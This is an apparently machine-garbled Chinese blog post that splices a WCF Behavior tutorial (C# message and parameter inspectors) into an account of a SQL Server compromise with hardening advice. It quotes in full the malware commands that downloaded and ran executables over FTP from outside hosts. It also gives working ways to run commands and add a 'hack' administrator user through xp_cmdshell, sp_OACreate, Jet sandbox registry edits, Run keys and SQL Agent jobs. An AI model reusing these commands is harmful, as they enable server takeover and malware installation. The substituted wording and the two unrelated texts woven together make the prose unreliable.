自己的开发机经历了点滴坏的面临毒现像.每次中毒的现像,都是sqlserver.exe进程去履行cmd.com进程,然后变*.sys与*.bat片个公文,然后去行使ftp.exe去下充斥木马下载器,然后杀毒软件开始报警了.

 

    下面是cmd.com执行命令内容
    “C:”WINDOWS”system32″cmd.com” /c net1 stop sharedaccess&echo open
218.61.11.97>dboy.sys&echo 11>>dboy.sys&echo
11>>dboy.sys&echo get pc.exe C:”boots.exe>>dboy.sys&echo
bye>>dboy.sys&echo ftp -s:dboy.sys>dboy.bat&echo copy
C:”boots.exeC:”WINDOWS”system32″inf”test.exe&echo start start /high “”
C:”WINDOWS”system32″inf”test.exe&echo start
C:”boots.exe>>dboy.bat&echo start
C:”boots.exe>>dboy.bat&echo del dboy.sys>>dboy.bat&echo del
%0>>dboy.bat&dboy.bat

  终于我又看了了二期爱情保卫战,太酸爽了,推荐链接:http://www.iqiyi.com/a_19rrgublqh.html?vfm=2008_aldbd,不多说,谁看谁入迷,下面说归正传,

    “C:”WINDOWS”system32″cmd.com” /c sc stop sharedaccess&echo open
ddosboy1.3322.org >dboy1.sys&echo dboy>>dboy1.sys&echo
if>>dboy1.sys&echo get dboy1.exe
C:”Windows”tcpsrv1.exe>>dboy1.sys&echo bye>>dboy1.sys&echo
ftp -s:dboy1.sys>system1.bat&echo start
C:”Windows”tcpsrv1.exe>>system1.bat&echo start
C:”Windows”tcpsrv1.exe>>system1.bat&echo del
dboy1.sys>>system1.bat&echo del
%0>>system1.bat&system1.bat

省是好有意思的Behavior。

   第一次中毒,之后,就对sql server进行了加强,删除了”xp_cmdshell”这个sql
server中最为无安全之恢宏存储过程.不过,好了没一个月,又来被同不良.
  
这无异于不善,我反省了数据库日志,xp_cmdshell并没有回复,不过也以日记在发现了sp_oacreate与sp_oamethod两个存储过程的施行日志.
   于是上网学习,把自己的念的有物记录下来:
   1. 低级sql注入攻击
   初级黑客攻击SQL
Server时,首先采取的计是实行master数据库被之壮大存储过程xp_cmdshell命令来执行有指令,添加用户,添加文书,添加木马病毒等.
   对付此类黑客只要禁用xp_cmdshell存储过程就是足以了.
   xp_cmdshell是一个同意实施任意的吩咐行命令的放置的存储过程。例如:
   Exec master..xp_cmdshell ‘dir’
   将取得SQLSERVER进程的即工作目录中之目列表。如图:

 

图片 1

平: Behavior这个泼妇的厉害

 

   
在前的文章被,我呢明白的征了整wcf通信流,而Behavior这个泼妇可以当wcf通信流中之其它地方插上一样底下,蛮狠无比,利用的好,让您及天堂,利用的无

   Exec master..xp_cmdshell ‘net user’
  
将提供服务器上有着用户的列表。当SQLSERVER正常为网帐户或域帐户运行时,攻击者可做出更要紧的伤。

吓,让你下地狱。。。下面让您望behavior到底有哪可以注入的触及???先打个简图:图片 2

  
从上面的片单示范中可以看出xp_cmdshell的兵不血刃作用,功能的雄强也象征破坏性的强大.
  
一般情况下,xp_cmdshell对领队来说吧是休必要的,xp_cmdshell的散无会见对Server造成其他影响。  
 
   可以将xp_cmdshell消除:    
   Use   Master    
   Exec   sp_dropextendedproc   ‘xp_cmdshell’
   Go    
         
   如果需要的话,可以将xp_cmdshell恢复回来:    
   Use   Master    
   Exec   sp_addextendedproc   ‘xp_cmdshell’, ‘xplog70.dll’
   Go    

地方的希冀,大概就是wcf的通信简图,所有蓝色字体都是Behavior注入的触发,其中Client和Service端都可注入,如果按照职能划分的言语,又足以分为“操作级别”和

   如果起必不可少可以拿xplog70.dll这个文件为抹了,记得做好备份.

”端点级别“,下面我来简单的解说下。

sql 2005:

 

    sql 2005默认情况下是无能够实施xp_cmdshell存储过程的,但马上便安然了为?

老二:端点级别Behavior

 
开启xp_cmdshell存储过程的执行权
EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC
sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;
关闭xp_cmdshell存储过程的施行权
EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC
sp_configure ‘xp_cmdshell’, 0;RECONFIGURE;

  从图中君也可看来,消息检查器是身处Channel这个级别的,也就是说它可以监视Client和Server的入站请求,也就是说有的伸手都要经它转发,如果

 

这样的话,那我是未是可在是注入点上任意之改动,变更,拦截入站和出站请求,而且采用是特点我还足以举行过多的工作,比如日志记录,记录统计等等,下

 

当我们来探望这个怎么使??? 只需要extends IEndpointBehavior
 和 IDispatchMessageInspector,然后进入EndpointBehaviors即可。。。

  
删除了xplog70.dll拿影响至”企业管理器”的同有机能,我遇到的凡力不从心在”企业管理器”中查看数据库服务器的属性.
   
   2.中sql注入攻击
     我们开展了上面立同步的操作后,就好防住了sql
server的安全了啊?不行,这不得不对部分恰巧上学sql注入的菜鸟才有效的法子,对于中鸟及老鸟可大,他们之办法可多了.
     现在吃咱来拘禁一下中级注入的方法.
    
当数据库管理员禁用了xp_cmdshell同时删除了xplog70.dll,也明令禁止了文本及传功能,那么对初级来说使用xp_cmdshell来进行一些操作就不可行了.
     但是微软还提供了有别职能的积存过程,可以吃中黑客进行入侵.
     1) 利用OLE对象接口
      SQL
SERVER提供了部分函数访问OLE对象,分别是sp_OACREATE和sp_OAMethod,
      可以运用他们调用OLE控件,间接获一个
shell。使用SP_OAcreate调用对象wscript。shell赋给变量@shell,然后运SP_OAMETHOD调用@shell的特性run执行命令。

 1. IDispatchMessageInspector

      DECLARE @shell INT
      EXEC SP_OAcreate ‘wscript.shell’,@shell out
      EXEC SP_OAMETHOD @shell,’run’,null, ‘net user hack hack /add’

 1     public class MyDispatchMessageInspector : IDispatchMessageInspector
 2     {
 3         public object AfterReceiveRequest(ref Message request, IClientChannel channel, InstanceContext instanceContext)
 4         {
 5             Console.WriteLine(request.ToString());
 6             return request;
 7         }
 8 
 9         public void BeforeSendReply(ref Message reply, object correlationState)
10         {
11             Console.WriteLine(reply.ToString());
12         }
13     }

    2) 开启access的沙盒模式
       在默认情况下Jet数据引擎不支持select shell(“net user ray ray
/add”)这样的SQL语句,
       但是打开了JET引擎的沙盒模式继就是可执行命令,
       先利用xp_regwrite存储过程改写注册表,然后以
OpenRowSet访问一个系自由带的一个ACCESS数据库文件,再实践运行命令的SQL语句。

2. IEndpointBehavior

       EXEC master.dbo.xp_regwrite
‘HKEY_LOCAL_MACHINE’,’SoftWare”Microsoft”Jet”4.0   
“Engines’,’SandBoxMode’,’REG_DWORD’,3

 1     public class MyEndpointBehavior : IEndpointBehavior
 2     {
 3         public void AddBindingParameters(ServiceEndpoint endpoint, BindingParameterCollection bindingParameters)
 4         {
 5         }
 6 
 7         public void ApplyClientBehavior(ServiceEndpoint endpoint, System.ServiceModel.Dispatcher.ClientRuntime clientRuntime)
 8         {
 9         }
10 
11         public void ApplyDispatchBehavior(ServiceEndpoint endpoint, System.ServiceModel.Dispatcher.EndpointDispatcher endpointDispatcher)
12         {
13             endpointDispatcher.DispatchRuntime.MessageInspectors.Add(new MyDispatchMessageInspector());
14         }
15 
16         public void Validate(ServiceEndpoint endpoint)
17         {
18         }
19     }

    SandBoxmode值说明
    默认值为2,
    0–表示一直禁用SandBoxmode模式,
    1–代表对此非Acess应用程序试用SandBoxmode模式,
    2–意味着针对access应用程序使用SandBoxmode模式,
    3–则表示完全开启安全设置。

3.
将MyEndpointBehavior加入到Host中

        Select * From
OpenRowSet(‘Microsoft.Jet.OLEDB.4.0′,’;Database=c:”windows”system32″ias”ias.mdb’,’select
shell(“net user hack hack /add”)’);

 1   static void Main(string[] args)
 2         {
 3             ServiceHost host = new ServiceHost(typeof(HomeService), new Uri("http://127.0.0.1:1920"));
 4 
 5             host.AddServiceEndpoint(typeof(IHomeService), new BasicHttpBinding(), "HomeServie");
 6 
 7             host.Description.Behaviors.Add(new ServiceMetadataBehavior() { HttpGetEnabled = true });
 8 
 9             host.AddServiceEndpoint(typeof(IMetadataExchange), MetadataExchangeBindings.CreateMexHttpBinding(), "mex");
10 
11             host.Description.Endpoints[0].EndpointBehaviors.Add(new MyEndpointBehavior());
12 
13             host.Open();
14 
15             Console.WriteLine("服务已经开启!!!");
16 
17             Console.Read();
18         }

 
     3) 利用xp_regxxxxx之类的储存过程写注册表项
    这个方法就发生sa账户或sysadmin权限的款户才得使用.
    执行
    exec xp_regread ”HKEY_LOCAL_MACHINE”,
”SECURITY”SAM”Domains”Account”, ”F”
    如果遇到一个疏忽的指挥者,说不定就是会得管理员的密码.
    加一个开行项什么的自然不在话下。
    利用xp_regwrite写注册表项,直接将要履行的指令写入RUN启动项。
    EXEC master.dbo.xp_regwrite
‘HKEY_LOCAL_MACHINE’,’SOFTWARE”Microsoft”Windows”currentversion”run’,’shell’,’REG_SZ’,’C:”windows”system32″cmd.exe
/c net user hack hack /add’

  1. 最终我们看一下劳务章程

    1 public class HomeService : IHomeService
    2 {
    3 public string Update(string message)
    4 {
    5 Console.WriteLine(“我在Action方法:” + message);
    6
    7 return “my reply!!!”;
    8 }
    9 }

    如果发生必要就将这些扩展都勾了
    Xp_regaddmultistring (向注册表中追加品种)
    Xp_regdeletekey (从注册表中去除一个键)
    Xp_regdeletevalue (从注册表中去一个键值)
    Xp_regenumvalues (列举主键下之键值)
    Xp_regread (读去一个主键下之键值)
    Xp_regremovemultistring (从注册表中去除项目)
    Xp_regwrite (向注册表中描绘副数据)

 

    4 ) 利用SQL代理执行命令
      
默认情况下这个服务是关闭的.我们得事先使xp_servicecontrol开启SQLSERVERAGENT,然后植个SQL计划任务,然后随即运行此职责。

下看看效果。。。在力量图中,你应该看了。在自之Action中的艺术前后各有一致段“入站信息”和“出站消息”,是无是颇爽朗???

        exec master.dbo.xp_servicecontrol ‘start’,’SQLSERVERAGENT’
        use msdb exec sp_delete_job null,’x’
        exec sp_add_job ‘x’
        exec sp_add_jobstep Null,’x’,Null,’1′,’CMDEXEC’,’cmd /c Dir
C:”‘
        exec sp_add_jobserver Null,’x’,@@servername exec
sp_start_job ‘x’

图片 3

  
 除了我举的点四栽办法外,还发其他方法,不过自己非极端了解,我就算不一一列举了。

 

   三、其他取系统信息
    
    历全方位目录
    exec master.dbo.xp_dirtree ‘c:”‘
    获取子目录
    exec master.dbo.xp_subdirs ‘c:”‘
    列举可用之网分区
    exec master.dbo.xp_availablemedia
    判断目录或文件是否存在
    exec master..xp_fileexist ‘c:”boot.ini’
    等等,不一一列举了.

其三:操作级别Behavior

    四、高级注入技术
       
对于高等级注入技术,我以网上没有找到相关的习资料,我眷恋这些技术为应当是于同样略一些人群面临流传的。所以也尽管未能讲起了。

  从文章开始的简图中,你应有看到了,Operation级别的Behavior比较多,有“操作启动器(IOperationInvoker)”,”参数检查(IParameterInspector)“,

   五、防御SQL注入的部分要领及法
    1. 承认就安装了windows操作系统及SQL Server的新星补丁程序。  
    2.
评估并且选择一个考虑到极致可怜的安全性但是以还要非影响意义的网络协议。
多共商是明智的选项, 但是她有时无可知于异种的环境遭受运用。  
       说明:如果可能要除去不需之网络协议。  
    3. 深受 “sa”
和有”sysadmin”权限的帐户设定强壮的密码来加强其安全性。至于什么是健康的密码吗,个人觉得是字母、数字、特殊字符的做,不少八号字符。
    4. 行使一个低特权用户作为 SQL 服务器服务之查询操作账户,不要因此
LocalSystem 或sa。
       这个小权限的帐户应该只有最小的权位和限这个帐户对SQL
Server的询问及存取操作。 用户可以为此最小权力查询sql
server中之许多物。若非必须毫无给多余的权。
       注意:当用企业管理器做如上设置时 ,
文件,注册表和使用者权利及之权杖处理。  

“消息格式化器(IDispatchMessageFormatter)”等等。。。
为什么说等等这词,很简短啊,,,其实还有很多体系放的,既然是Operation,那就是必然

    5. 确定有的SQL服务器数据,而且系统文件是安在 NTFS
分区,且”目录访问控制”被应用。
      
如果万同一某部人抱针对性系的存取操作权限,该层权限可以阻碍入侵者破坏数据,避免造成同集市非常灾难。
 

然是本着方法的,还记得OperationContract是怎学在道及之也???
是特点,对吧,,,同样的理,OperationBehavior也是平等,那怎么用吧??

    6.如果你不欲 xp_cmdshell
那请已用它们。如果需要的话再把它长回来。
    其实这可以啊不好
————一个侵入者如果发现她不以了,也才需要把他加以回来。考虑一下,可以除在底下的
dll但是移除之前必须测试为有点dll同时为有先后所用。
    要找到其他的顺序是否以同样之 dll请进行以下步骤:  
    首先得该 dll:
    select o.name,c.text from dbo.syscomments c , dbo.sysobjects o where
c.id=o.id and o.name=‘xp_cmdshell‘  
    其次,使用同样之 dll发现其余的壮大储存操作是否采用该dll:
    select o.name,c.text from dbo.syscomments c , dbo.sysobjects o where
c.id=o.id and c.text=‘xplog70.dll‘  
    用户可以用同一的道处理下步骤中另外你想去丢的进程。  

相同为是非常简短的,继承几只接口即可。。。

    7. 如不需要不畏停用对象连接与坐自动化储存程序 ( 警告 –
当这些囤积程序让停用的时段 , 一些庄管理器功能或丢掉).
这些囤积过程如下:  
    sp_OACreate  
    sp_OADestroy  
    sp_OAGetErrorInfo  
    sp_OAGetProperty  
    sp_OAMethod  
    sp_OASetProperty  
    sp_OAStop  
  
 如果你决定停用这些囤积过程,那么请让她们写一个剧本这样以后来您用到他们之上你能够将他们再次长回来

 <1> IParameterInspector
的玩法

    8. 夺你无待之注册表存储过程。(同地方的警告)这些包括:  
    xp_regaddmultistring  
    xp_regdeletekey  
    xp_regdeletevalue  
    xp_regenumvalues  
    xp_regremovemultistring  
    注意 :xp_regread/
xp_regwrite这半个存储过程的移除影响部分着重功效包括日志与SP的设置,所以他们的移除不受推举。
 

 
 其实没什么好说的,既然是属于Operation下面的Behavior,那都是透过特色注入的,而此IParameterInspector,可以形成类似Mvc的Model验证,下面

    9.移除别你认为会促成威胁的系储存过程。
这种囤过程是一对一多之,而且她们啊会见浪费一些cpu时间。
    
小心不要首先以一个布置好的服务器上如此做。首先以开发之机器上测试,确认这样不会见潜移默化及任何的系统功能。在底下是咱所推荐的有待你评估的一部分列表:
 
    sp_sdidebug  
    xp_availablemedia  
    xp_cmdshell  
    xp_deletemail  
    xp_dirtree  
    xp_dropwebtask  
    xp_dsninfo  
    xp_enumdsn  
    xp_enumerrorlogs  
    xp_enumgroups  
    xp_enumqueuedtasks  
    xp_eventlog  
    xp_findnextmsg  
    xp_fixeddrives  
    xp_getfiledetails  
    xp_getnetname  
    xp_grantlogin  
    xp_logevent  
    xp_loginconfig  
    xp_logininfo  
    xp_makewebtask  
    xp_msver xp_perfend  
    xp_perfmonitor  
    xp_perfsample  
    xp_perfstart  
    xp_readerrorlog  
    xp_readmail  
    xp_revokelogin  
    xp_runwebtask  
    xp_schedulersignal  
    xp_sendmail  
    xp_servicecontrol  
    xp_snmp_getstate  
    xp_snmp_raisetrap  
    xp_sprintf  
    xp_sqlinventory  
    xp_sqlregister  
    xp_sqltrace  
    xp_sscanf  
    xp_startmail  
    xp_stopmail  
    xp_subdirs  
    xp_unc_to_drive  
    xp_dirtree  
    

自己开只简易的Action参数长度验证(长度不超过8独字符)。

    10. 除数据库的guest账户,这样好管未经许可的使用者排除在外。
例外情况是master和 tempdb 数据库,因为对他们guest帐户是必要的。  

1. IParameterInspector

    11.
若非必须,请了地剥夺SQL邮件功能。它的存如潜在的攻击者递送潜在的
trojans ,病毒或简单实现一个DOS攻击成为可能  

 1     public class MyIParameterInspector : IParameterInspector
 2     {
 3         public int MaxLength { get; set; }
 4 
 5         public MyIParameterInspector(int MaxLength)
 6         {
 7             this.MaxLength = MaxLength;
 8         }
 9 
10         /// <summary>
11         /// 出站的操作
12         /// </summary>
13         /// <param name="operationName"></param>
14         /// <param name="outputs"></param>
15         /// <param name="returnValue"></param>
16         /// <param name="correlationState"></param>
17         public void AfterCall(string operationName, object[] outputs, object returnValue, object correlationState)
18         {
19 
20         }
21 
22         /// <summary>
23         /// 入站的参数
24         /// </summary>
25         /// <param name="operationName"></param>
26         /// <param name="inputs"></param>
27         /// <returns></returns>
28         public object BeforeCall(string operationName, object[] inputs)
29         {
30             foreach (var item in inputs)
31             {
32                 if (Convert.ToString(item).Length > MaxLength)
33                 {
34                     throw new Exception("码单,长度不能超过 " + MaxLength + " 个长度");
35                 }
36             }
37 
38             return null;
39         }
40     }

    12. 记录有的用户存取访问情况。
从店管理器做这些设定或透过以sa登陆进查询分析器的下列各项:  
    xp_instance_regwrite N‘HKEY_LOCAL_MACHINE‘, N‘SOFTWARE”
Microsoft”MSSQLServer”MSSQLServer‘,N‘AuditLevel‘,REG_DWORD,3  

2. IOperationBehavior

    13. 成立一个计划的任务运行: 
  
 然后再度重定向输出到一个文书文件或电子邮件,因此若监测失败的报到尝试。
    这也为系统管理员提供一个吓之笔录攻击的点子。
也有那么些为此来分析NT日志事件之旁观者工具。
    注意: 你或要用路径换成你安装SQL的门道。  

 1 public class MyOperationBehavior : Attribute, IOperationBehavior
 2     {
 3         public int MaxLength { get; set; }
 4 
 5         public void AddBindingParameters(OperationDescription operationDescription, BindingParameterCollection bindingParameters)
 6         {
 7 
 8         }
 9 
10         public void ApplyClientBehavior(OperationDescription operationDescription, ClientOperation clientOperation)
11         {
12 
13         }
14 
15         public void ApplyDispatchBehavior(OperationDescription operationDescription, DispatchOperation dispatchOperation)
16         {
17             dispatchOperation.ParameterInspectors.Add(new MyIParameterInspector(MaxLength));
18         }
19 
20         public void Validate(OperationDescription operationDescription)
21         {
22 
23         }
24     }

    14. 设定非法访问同登陆失败日志警报。到 企业管理器中的”Manager SQL
Server Messages “搜寻另外关于无权访问的音讯
    ( 从寻觅”login failed”和”denied”开始).
确定你持有感兴趣的音信于记录到事件日志。然后于这些信及设定警报 ,
发送一个电子邮件或信息及一个克对题目立即响应的操作员。  

  1. 在Action在加上MyOperationBehavior 这个
    Attribute

    1 public class HomeService : IHomeService
    2 {
    3 [MyOperationBehavior(MaxLength = 5)]
    4 public string Update(string message)
    5 {
    6 Console.WriteLine(“我在Action方法:” + message);
    7
    8 return “my reply!!!”;
    9 }
    10 }

    15.
时时检查组或角色全体会员以规定用组分配权限,这样你的审计工作能够简化。
确定当你当的下 , 公众的组不可知于系统表执行选择操作。  

4.
然后我当客户端故意输入大于5底字符,看看效果怎样???

    16. 花些日子审计用空密码登陆的要。 使用下的代码进行空密码检查:
 
    select  
    password  ,*
    from syslogins  
    where password is null  
    order by name  

 1    public class Program1
 2     {
 3         static void Main(string[] args)
 4         {
 5             HomeServiceClient client = new HomeServiceClient();
 6 
 7             client.Update("我故意输入了很多的字符,哈哈。。。。。");
 8 
 9             Console.Read();
10         }
11     }

    17. 反省有非sa用户的存取进程与壮大存储进程的权柄。
使用下的查询定期的查询哪一个进程有公众存储权限:  
    Use master  
    select sysobjects.name  
    from sysobjects,sysprotects  
    where sysprotects.uid=0  
    AND xtype 在 (‘X‘,‘P‘)  
    AND sysobjects.id=sysprotects.id  
    Order by name  

5.
末看看效果图,可以看到,最终的入站消息会抛来一个分外。。。

    18. 这之所以企业管理器的时候,使用整合的安全策略。
过去,企业管理器被发觉于正儿八经的安模态中储存 “sa” 密码在注册表的
plaintext 中。 注意: 即使你改变模态,密码为会养于注册表中。

 图片 4

sql 2000:

 

    使用 regedit 而且检查键:  
    HKEY_USERS”{yourSID}”software”Microsoft”Microsoft SQL
server”80″tool”SQLEW”registered server X”SQL server group  
    (“SQL server组” 是默认值但是若恐怕就起用户组因此相应地改其岗位)
 

<2> MessageFormatter,IOperationInvoker 的玩法

 

  
剩下的就简单只玩法还多,你只需要extends一下,然后进入到OperationBehavior即可,有矣端的盘算,我怀念下面这些使用起来都非是问题吧。。。

sql 2005已没以注册表中形容sqlew这个键了.

 

      

 

    19.
制定一个安然无恙核查计划,每月的一致卖安全告知,对IT主管可用之表包括新的开销内容被开展的数据库修改,成功之攻击
, 备份保护 , 和目标存取失败统计。  

    20. 毫不允许使用者交互式登陆到 SQL
Server之上。这个规则适用其他的服务器。
一旦一个使用者能交互式进入一个服务器中,就闹能够为此来博取管理员的存取特权得到管理员权限。
 

 

 最后就是,对方怎么抱本人的付出机上的动态IP的,这自怎么呢没想清楚.